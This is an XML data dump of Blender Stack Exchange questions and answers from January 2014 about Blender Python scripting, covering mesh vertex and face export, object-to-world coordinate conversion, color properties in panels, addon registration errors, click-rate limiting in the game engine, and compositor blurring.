  <row Id="6147" PostTypeId="2" ParentId="6139" CreationDate="2014-01-10T07:40:23.193" Score="6" Body="&lt;p&gt;A mesh may consist of loose parts the following script will export all vertices and faces. The length is determined by pythons len() you would need to change the print statements to writing into a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncomment the dump method &lt;code&gt;# dump(obj.data)&lt;/code&gt; to find out more on available properties you're interested in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need also to get the edges of the mesh you could have a look at &lt;a href=&quot;https://blender.stackexchange.com/questions/6133/python-script-to-determine-xyz-of-tip-of-cone&quot;&gt;Python script to determine XYZ of tip of cone&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def dump(obj, level=0):&#xA;   for attr in dir(obj):&#xA;       if hasattr( obj, &quot;attr&quot; ):&#xA;           print( &quot;obj.%s = %s&quot; % (attr, getattr(obj, attr)))&#xA;       else:&#xA;           print( attr )&#xA;&#xA;&#xA;#obj = bpy.data.objects[&quot;Cube&quot;]  # particular object by name&#xA;obj = bpy.context.scene.objects.active # active object&#xA;&#xA;# dump(obj.data)&#xA;mesh = obj.data&#xA;print(&quot;# of vertices=%d&quot; % len(mesh.vertices))&#xA;for vert in mesh.vertices:&#xA;    print( 'v %f %f %f\n' % (vert.co.x, vert.co.y, vert.co.z) )&#xA;&#xA;print(&quot;# of faces=%d&quot; % len(mesh.polygons))&#xA;&#xA;for face in mesh.polygons:&#xA;    print('face')&#xA;    #dump(face)&#xA;    for vert in face.vertices:&#xA;        print(vert)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# of vertices=8&#xA;v 1.000000 1.000000 -1.000000&#xA;v 1.000000 -1.000000 -1.000000&#xA;v -1.000000 -1.000000 -1.000000&#xA;v -1.000000 1.000000 -1.000000&#xA;v 1.000000 0.999999 1.000000&#xA;v 0.999999 -1.000001 1.000000&#xA;v -1.000000 -1.000000 1.000000&#xA;v -1.000000 1.000000 1.000000&#xA;# of faces=6&#xA;face&#xA;0&#xA;1&#xA;2&#xA;3&#xA;face&#xA;4&#xA;7&#xA;6&#xA;5&#xA;face&#xA;0&#xA;4&#xA;5&#xA;1&#xA;face&#xA;1&#xA;5&#xA;6&#xA;2&#xA;face&#xA;2&#xA;6&#xA;7&#xA;3&#xA;face&#xA;4&#xA;0&#xA;3&#xA;7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="2952" LastEditDate="2018-02-23T19:38:57.160" LastActivityDate="2018-02-23T19:38:57.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6148" PostTypeId="2" ParentId="6132" CreationDate="2014-01-10T07:44:59.530" Score="2" Body="&lt;p&gt;As far as I know, blender does not support exporting vertex colors to COLLADA (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other formats that blender can export to (with the official export scripts, it would be perfectly possible to write your own exporter in python)&#xA;which support vertex colors are &lt;code&gt;ascii fbx&lt;/code&gt; and &lt;code&gt;ply&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;fbx&lt;/code&gt; doesn't work for you, you could try joining all your objects into one object and then exporting to ply:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the objects which you want to join/export a press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;, then export as ply in &lt;em&gt;Info panel &gt; File &gt; Export &gt; Stanford (.ply)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-10T07:44:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6149" PostTypeId="2" ParentId="6133" CreationDate="2014-01-10T08:12:28.120" Score="5" Body="&lt;p&gt;This script finds the vertex that is referenced by more edges than other vertices, this should meet the 'tip-criteria' to make a function &lt;code&gt;getTip&lt;/code&gt; simply return the &lt;code&gt;vert.co&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;obj = bpy.context.scene.objects.active&#xA;mesh = obj.data&#xA;&#xA;&#xA;v_edge_tot = [0] * len(mesh.vertices)&#xA;maxedges = 0&#xA;maxvert = None&#xA;for edge in mesh.edges:&#xA;    for vert in edge.vertices:&#xA;        v_edge_tot[vert] += 1&#xA;        count = v_edge_tot[vert]&#xA;        if count &amp;gt; maxedges:&#xA;            maxedges = count&#xA;            maxvert = vert&#xA;&#xA;vert = mesh.vertices[maxvert]&#xA;print(maxvert)&#xA;print('v %f %f %f' % (vert.co[:]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2014-01-11T02:58:37.323" LastActivityDate="2014-01-11T02:58:37.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6151" PostTypeId="2" ParentId="6130" CreationDate="2014-01-10T09:15:32.597" Score="1" Body="&lt;p&gt;While you can copy many object values to all other selected objects, we can only select one material at a time, leaving us with two options -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy an individual value &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; (&lt;kbd&gt;CMD&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; on osx) and Paste it into the other materials &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; (&lt;kbd&gt;CMD&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; on osx). Both of these actions work while the cursor is over the value for number, text and colour. Items like checkboxes and popup menus don't copy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use python (either a small script or type straight into the python console) to change the value of all or a subset of materials - &lt;a href=&quot;https://blender.stackexchange.com/questions/6136/how-can-i-get-a-list-of-all-objects-named-foo&quot;&gt;this question&lt;/a&gt; can help with ways to define a list of materials.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;While 1 is ok for a small number of materials 2 becomes necessary for larger changes.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-10T09:15:32.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6152" PostTypeId="2" ParentId="6145" CreationDate="2014-01-10T10:18:16.660" Score="2" Body="&lt;p&gt;Vertex colors are stored in face loops, you can't ignore/overlook this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However its reasonable that you might want to generate vertex colors per vertex and not have to deal with looping on vertex-loops while generating/manipulating the colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best options would be to have 2 functions for converting colors between loops and verts. This could take &amp;amp; return array of &lt;code&gt;Color&lt;/code&gt; objects. Then at least you can keep the conversion isolated and not complicate your color calculation logic. &lt;em&gt;(If your generating new colors you only need one function to go from vertices to loops of course)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-10T10:18:16.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6154" PostTypeId="1" AcceptedAnswerId="6161" CreationDate="2014-01-10T13:02:32.020" Score="4" ViewCount="2310" Body="&lt;p&gt;I have my panel with draw definition. And want define color for BGL in panel.&#xA;I know that Color class exists in blender, but how to use it? How to create custom color property for my panel?&lt;img src=&quot;https://i.stack.imgur.com/FAuL6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1429" LastEditorUserId="1363" LastEditDate="2014-01-10T22:20:30.547" LastActivityDate="2014-01-10T22:20:30.547" Title="custom color property in panel draw layout" Tags="&lt;python&gt;&lt;scripting&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6155" PostTypeId="1" AcceptedAnswerId="6172" CreationDate="2014-01-10T13:41:06.493" Score="20" ViewCount="27040" Body="&lt;p&gt;How do I convert from object-space to world-space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vert_os = obj.vertices[foo]&#xA;vert_ws = vert_os.getPositionFromMatrix(obj.matrixWorld)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but does the matrix also handle translations, or do I need to handle that separately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone link to the relevant documentation?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1363" LastEditDate="2014-02-25T17:41:54.333" LastActivityDate="2021-03-06T13:16:26.677" Title="How to convert coordinates from vertex to world-space?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="6156" PostTypeId="2" ParentId="6155" CreationDate="2014-01-10T14:13:21.333" Score="18" Body="&lt;p&gt;This is fairly simple and applies to any data (curves, armatures, lattice ...)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;v_co_world = obj.matrix_world @ obj.data.vertices[0].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its also handy to be able to do the reverse, get a point in worldspace relative to the vertex.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# get the cursor in object space&#xA;# (so you can compare it to the vertices locations&#xA;#  without first having to transform them into worldspace).&#xA;v_co_object = obj.matrix_world.inverted() @ scene.cursor_location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2021-03-06T13:16:26.677" LastActivityDate="2021-03-06T13:16:26.677" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6157" PostTypeId="2" ParentId="6155" CreationDate="2014-01-10T14:20:14.177" Score="1" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;&#xA;wm = obj.matrix_world&#xA;print( wm )&#xA;for v in obj.data.vertices:&#xA;   world = wm * v.co&#xA;   print(world)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The world matrix contains the transformations for location,rotation and scale as in the &lt;em&gt;Properties Panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K3rDB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant documentation on &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_8/mathutils.html?highlight=matrix#mathutils.Matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;Math Types &amp;amp; Utilities mathutils&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-10T14:20:14.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6158" PostTypeId="1" AcceptedAnswerId="6169" CreationDate="2014-01-10T15:19:43.733" Score="1" ViewCount="382" Body="&lt;p&gt;This code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def objects_starting( s ):&#xA;    return[ obj for obj in bpy.data.objects if obj.name.startswith( s ) ]&#xA;&#xA;def export_all( folder ):&#xA;    if not os.path.exists( folder ):&#xA;        os.makedirs( folder )&#xA;&#xA;    # G E O M E T R Y (2 files)&#xA;    for obj in objects_starting( 'geom' ):&#xA;        print( obj.name )&#xA;        verts_file = create_file( folder, obj.name + &quot;_verts&quot; )&#xA;        faces_file = create_file( folder, obj.name + &quot;_faces&quot; )&#xA;&#xA;        export_geom( verts_file, faces_file, obj )&#xA;&#xA;        verts_file.close( )&#xA;        faces_file.close( )&#xA;&#xA;def export_geom( verts_file, faces_file, obj ):&#xA;&#xA;    mesh = obj.data&#xA;&#xA;    verts_file.write( &quot;[points]\n&quot; )&#xA;    verts_file.write( &quot;%i\n&quot; % len( mesh.vertices ) )&#xA;&#xA;    for v in mesh.vertices:&#xA;        v_world = obj.matrix_world * v.co&#xA;        verts_file.write( &quot;%i &quot; % (v+1) )   &amp;lt;-- FAILS HERE&#xA;        verts_file.write( &quot;%.16e %.16e %.16e\n&quot; % v_world[:] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fails with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: %i format: a number is required, not MeshVertex&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm scratching my head because I had something similar working yesterday:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def write(filepath):&#xA;&#xA;    meshes = [ob.data for ob in bpy.context.selected_objects if ob.type == 'MESH']&#xA;    total_verts = sum(len(me.vertices) for me in meshes)&#xA;    total_faces = sum(len(me.polygons) for me in meshes)&#xA;&#xA;    # verts file&#xA;    file = open(filepath + &quot;.vert&quot;, 'w', encoding=&quot;utf8&quot; )&#xA;&#xA;    file.write(&quot;[nodes]\n&quot;)&#xA;    file.write(&quot;%i\n&quot; % total_verts)&#xA;&#xA;    for me in meshes:&#xA;        for v in me.vertices:&#xA;            file.write(&quot;%i &quot; % v)&#xA;            file.write(&quot;%.16e %.16e %.16e\n&quot; % v.co[:])&#xA;    file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is going on?  It must be that my new technique for getting a list of meshes doesn't return the right data type, or something.  But I can't see it.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1363" LastEditDate="2014-01-10T21:16:18.717" LastActivityDate="2014-01-10T22:31:26.747" Title="Enumerating vertices with their indices" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6159" PostTypeId="1" AcceptedAnswerId="6170" CreationDate="2014-01-10T15:25:15.900" Score="1" ViewCount="1083" Body="&lt;p&gt;My mesh exporter opens up a file dialog, allowing the user to choose a folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then creates the folder if necessary, and populate it with data files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that there is default text in the text box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVjcQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to clear it from Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a trivial problem as it is just a few keystrokes to do it manually, but if there is some way to do it I would like to.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="29" LastEditDate="2014-01-10T22:16:39.993" LastActivityDate="2014-01-11T02:47:02.303" Title="Changing default text value in file dialogue" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6160" PostTypeId="1" CreationDate="2014-01-10T15:41:11.450" Score="0" ViewCount="168" Body="&lt;p&gt;I've made an export script, sorry to say much of it is copy paste coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine, but now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWz6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be an extra menuitem 'Waveller' -- it was there and it was working, but it has just disappeared!  ARGH!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must have done a nono while refactoring the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried removing and adding in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yJuUR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;:         &quot;Waveller&quot;,&#xA;    &quot;author&quot;:       &quot;π&quot;,&#xA;    &quot;version&quot;:      (0, 0),&#xA;    &quot;blender&quot;:      (2, 6, 2),&#xA;    &quot;location&quot;:     &quot;File &amp;gt; Import-Export &amp;gt; Waveller&quot;,&#xA;    &quot;description&quot;:  &quot;Export Verts and Faces in Waveller Format&quot;,&#xA;    &quot;warning&quot;:      &quot;&quot;,&#xA;    &quot;wiki_url&quot;:     &quot;http://www.waveller.com&quot;,&#xA;    &quot;category&quot;:     &quot;Import-Export&quot;&#xA;}&#xA;&#xA;if &quot;bpy&quot; in locals():&#xA;    import imp&#xA;    if &quot;export_waveller&quot; in locals():&#xA;        imp.reload( export_waveller )&#xA;else:&#xA;    import bpy&#xA;&#xA;from bpy.props import StringProperty, BoolProperty&#xA;&#xA;&#xA;class WavellerExporter( bpy.types.Operator ):&#xA;    '''Save in Waveller format'''&#xA;    bl_idname = &quot;export_waveller.vert&quot;&#xA;    bl_label = &quot;Export Waveller&quot;&#xA;&#xA;    filepath = StringProperty(&#xA;            subtype='FILE_PATH',&#xA;            )&#xA;&#xA;    check_existing = BoolProperty(&#xA;            name = &quot;Check Existing&quot;,&#xA;            description = &quot;Check and warn on overwriting existing files&quot;,&#xA;            default = True,&#xA;            options = { 'HIDDEN' },&#xA;            )&#xA;&#xA;    def execute( self, context ):&#xA;        from . import export_waveller&#xA;        export_waveller.export_all( self.filepath )&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke( self, context, event ):&#xA;        if not self.filepath:&#xA;            self.filepath = bpy.data.filepath&#xA;        # bpy.path.ensure_ext(bpy.data.filepath, &quot;&quot;)&#xA;        wm = context.window_manager&#xA;        wm.fileselect_add( self )&#xA;        return { 'RUNNING_MODAL' }&#xA;&#xA;&#xA;def menu_export( self, context ):&#xA;    self.layout.operator(&#xA;                         WavellerExporter.bl_idname,&#xA;                         text = &quot;Waveller&quot;&#xA;                         )&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module( __name__ )&#xA;&#xA;    bpy.types.INFO_MT_file_export.append( menu_export )&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module( __name__ )&#xA;&#xA;    bpy.types.INFO_MT_file_export.remove( menu_export )&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did do a bit of fiddling, I remember changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_idname = &quot;export_waveller.vert&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_idname = &quot;export_waveller&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(changing it back doesn't fix this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well if anyone can put me right I'm very grateful. Also, corrections to any hideousnesses you see lurking in the code are most welcome!&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="12" LastEditDate="2014-01-10T18:07:53.937" LastActivityDate="2014-01-10T18:07:53.937" Title="Why does removing the dot from bl_idname break my addon?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-10T18:08:05.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="6161" PostTypeId="2" ParentId="6154" CreationDate="2014-01-10T15:47:13.827" Score="8" Body="&lt;p&gt;The graphical representation is determined by the subtype field which is set in this example to 'COLOR'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.props import FloatVectorProperty&#xA;...&#xA;&#xA;object_color = FloatVectorProperty(  &#xA;   name=&quot;object_color&quot;,&#xA;   subtype='COLOR',&#xA;   default=(1.0, 1.0, 1.0),&#xA;   min=0.0, max=1.0,&#xA;   description=&quot;color picker&quot;&#xA;   )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Documentation on &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_66a_release/bpy.props.html&quot;&gt;custom properties&lt;/a&gt;,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nice &lt;a href=&quot;http://michelanders.blogspot.nl/p/creating-blender-26-python-add-on.html&quot;&gt;tutorial on addons&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-01-10T22:19:50.843" LastActivityDate="2014-01-10T22:19:50.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6162" PostTypeId="2" ParentId="6160" CreationDate="2014-01-10T16:59:07.187" Score="-1" Body="&lt;p&gt;It was that line!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why I'm not allowed to change bl_idname from &quot;export_waveller.vert&quot; to &quot;export_waveller&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only guess is that this string is used as a token somewhere, and changing it creates some disparity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why resetting factory settings doesn't cure this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-01-10T16:59:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6163" PostTypeId="1" AcceptedAnswerId="6164" CreationDate="2014-01-10T17:22:46.803" Score="1" ViewCount="380" Body="&lt;p&gt;In my game I have an action performed whenever the left mouse button is pressed. Is there a way to restrict how fast the player can click? Right now the event will trigger as many times as they can press the button, but I would like to put a cap on that so that the action can't be spammed so many times per second.&lt;/p&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="2217" LastEditDate="2014-07-29T14:33:50.410" LastActivityDate="2014-07-29T14:33:50.410" Title="How do you restrict the left click rate in the game engine?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6164" PostTypeId="2" ParentId="6163" CreationDate="2014-01-10T17:32:22.327" Score="0" Body="&lt;p&gt;I'm afraid I'm not familiar with the game engine side of Blender, but the principle would be to have a timer (or other condition) that gets checked on each mouse click. If the timer has expired (or other condition is met), then the click triggers whatever action it's liked to, and resets the timer. If the timer has not yet expired, then the click is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you doing some scripting, then you want to use &lt;code&gt;lastClickTime = time.time()&lt;/code&gt; to store the time of the first click. Then use &lt;code&gt;time.time() - lastClickTime &amp;gt; 1&lt;/code&gt; as your condition. &lt;code&gt;Time.time()&lt;/code&gt; will give you the current time (in seconds since 1970). If the current time minus your stored time is greater than 1, then at least one second has elapsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So (SUUUUPER pseudo-code... this won't actually do anything):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#somewhere else you initialized lastClickTime to zero&#xA;OnClick():&#xA;&#xA;  if time.time() - lastClickTime &amp;gt; 1:&#xA;    #do the click thing and... &#xA;    lastClickTime = time.time()&#xA;&#xA;  else:&#xA;    #do nothing..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you handle every single click you get, it's just that you don't have to DO anything when you get a click. If your timer has expired, do what the click is supposed to do and reset the timer. If not, then just do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;time()&lt;/code&gt; is a member of the &lt;code&gt;time&lt;/code&gt; external module, so you have to import the &lt;code&gt;time&lt;/code&gt; module in order to use the &lt;code&gt;time()&lt;/code&gt; member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Time.time()&lt;/code&gt; only gives 1 second resolution. There are ways to get sub-second resolution, but the principle is the same. You'll just use getRealtimeClock() or something like that, instead of time.time().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to use timer properties. After playing around with Cobra's method, I found that this works reliably and allows you to use the full accuracy of the timer property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fire = cont.sensors[&quot;Fire&quot;]&#xA;fireRate = own[&quot;fireRate&quot;]&#xA;#adjust the value to be &amp;gt;= to your liking&#xA;if fireRate &amp;gt;= 0 and Fire.positive:&#xA;    # Do not set fireRate = -1 That does not work.&#xA;    own[&quot;fireRate&quot;] = -1&#xA;    #anything you want to limit the action of&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1920" LastEditDate="2014-01-18T15:32:20.260" LastActivityDate="2014-01-18T15:32:20.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6165" PostTypeId="1" AcceptedAnswerId="6178" CreationDate="2014-01-10T19:33:00.420" Score="1" ViewCount="3545" Body="&lt;p&gt;I was wondering how to blur a video background (a person is talking and you wish to remove the background)? Should the compositor be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example video that you can use for testing: &lt;a href=&quot;http://www.youtube.com/watch?v=zncqb-n3zMo&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=zncqb-n3zMo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of blurred background image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qun8j.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="2217" LastEditDate="2014-08-05T18:07:25.353" LastActivityDate="2014-08-05T18:07:25.353" Title="How to blur video background?" Tags="&lt;compositor&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6166" PostTypeId="1" AcceptedAnswerId="6175" CreationDate="2014-01-10T19:44:00.730" Score="2" ViewCount="1160" Body="&lt;p&gt;I make my object complex so that i can paint real circle in part of his body but when i decimate it my circle look terrible. I don't know what to use to make this circle stabile and make my object with less polygons as possible. . Now I have 766 000 faces and that is not acceptable. Please help. (sry for my bad english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one more question. I tried to use f brush to point out his water gun but is there a better way to get punched his wather gun?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Mr40.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3XiV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQgBi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2089" LastActivityDate="2015-11-21T23:21:12.483" Title="Problem with too many faces of object" Tags="&lt;rendering&gt;&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6167" PostTypeId="2" ParentId="6158" CreationDate="2014-01-10T21:22:14.750" Score="-1" Body="&lt;p&gt;You're adding 1 to &lt;code&gt;v&lt;/code&gt; in &lt;code&gt;verts_file.write( &quot;%i &quot; % (v+1) )&lt;/code&gt; but the &lt;code&gt;+&lt;/code&gt; operator is expecting &lt;code&gt;v&lt;/code&gt; to be an integer, not a MeshVertex, which is why it didn't fail the first time (you weren't adding to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As CoDEmanX states, you need to operate on &lt;code&gt;v.index&lt;/code&gt; to get the vertex's index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;+&lt;/code&gt; was expecting the integer, not &lt;code&gt;%i&lt;/code&gt; as I claimed before)&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-10T22:31:26.747" LastActivityDate="2014-01-10T22:31:26.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6168" PostTypeId="2" ParentId="6165" CreationDate="2014-01-10T21:26:12.267" Score="3" Body="&lt;p&gt;Yes, the compositor should be used. The most straightforward approach would probably be to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow&quot;&gt;animate a mask&lt;/a&gt; which you use to selectively blur (or remove) parts of the video.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-10T21:26:12.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
